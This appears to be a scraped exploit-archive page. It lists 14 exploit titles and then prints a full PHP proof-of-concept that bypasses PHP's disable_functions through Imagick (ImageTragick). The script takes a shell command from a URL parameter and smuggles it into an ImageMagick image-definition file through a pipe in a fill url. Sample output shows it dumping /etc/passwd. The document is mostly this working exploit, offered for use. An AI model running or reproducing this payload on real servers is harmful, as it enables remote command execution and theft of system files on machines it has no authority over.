5a82bad23d
14 new exploits Alibaba Clone B2B Script - Admin Authentication Bypass CMS Made Simple < 2.1.3 & < 1.12.1 - Web Server Cache Poisoning Acunetix WP Security Plugin 3.0.3 - XSS NetCommWireless HSPA 3G10WVE Wireless Router – Multiple Vulnerabilities TRN Threaded USENET News Reader 3.6-23 - Local Stack-Based Overflow IPFire < 2.19 Core Update 101 - Remote Command Execution PHP Imagick 3.3.0 - disable_functions Bypass ImageMagick < 6.9.3-9 - Multiple Vulnerabilities OpenSSL Padding Oracle in AES-NI CBC MAC Check Zabbix Agent 3.0.1 - mysql.size Shell Command Injection McAfee LiveSafe 14.0 - Relocations Processing Memory Corruption Linux (Ubuntu 14.04.3) - perf_event_open() Can Race with execve() (/etc/shadow) Linux Kernel 4.4.x (Ubuntu 16.04) - Use-After-Free via double-fdput() in bpf(BPF_PROG_LOAD) Error Path Local Root Exploit Linux (Ubuntu 16.04) - Reference Count Overflow Using BPF Maps
50 lines
1.4 KiB
PHP
Executable file
50 lines
1.4 KiB
PHP
Executable file
# Exploit Title: PHP Imagick disable_functions Bypass
|
|
# Date: 2016-05-04
|
|
# Exploit Author: RicterZ (ricter@chaitin.com)
|
|
# Vendor Homepage: https://pecl.php.net/package/imagick
|
|
# Version: Imagick <= 3.3.0 PHP >= 5.4
|
|
# Test on: Ubuntu 12.04
|
|
|
|
# Exploit:
|
|
|
|
<?php
|
|
# PHP Imagick disable_functions Bypass
|
|
# Author: Ricter <ricter@chaitin.com>
|
|
#
|
|
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
|
|
# <pre>
|
|
# Disable functions: exec,passthru,shell_exec,system,popen
|
|
# Run command: cat /etc/passwd
|
|
# ====================
|
|
# root:x:0:0:root:/root:/usr/local/bin/fish
|
|
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
|
# bin:x:2:2:bin:/bin:/bin/sh
|
|
# sys:x:3:3:sys:/dev:/bin/sh
|
|
# sync:x:4:65534:sync:/bin:/bin/sync
|
|
# games:x:5:60:games:/usr/games:/bin/sh
|
|
# ...
|
|
# </pre>
|
|
echo "Disable functions: " . ini_get("disable_functions") . "\n";
|
|
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
|
|
echo "Run command: $command\n====================\n";
|
|
|
|
$data_file = tempnam('/tmp', 'img');
|
|
$imagick_file = tempnam('/tmp', 'img');
|
|
|
|
$exploit = <<<EOF
|
|
push graphic-context
|
|
viewbox 0 0 640 480
|
|
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
|
|
pop graphic-context
|
|
EOF;
|
|
|
|
file_put_contents("$imagick_file", $exploit);
|
|
$thumb = new Imagick();
|
|
$thumb->readImage("$imagick_file");
|
|
$thumb->writeImage(tempnam('/tmp', 'img'));
|
|
$thumb->clear();
|
|
$thumb->destroy();
|
|
|
|
echo file_get_contents($data_file);
|
|
?>
|
|
|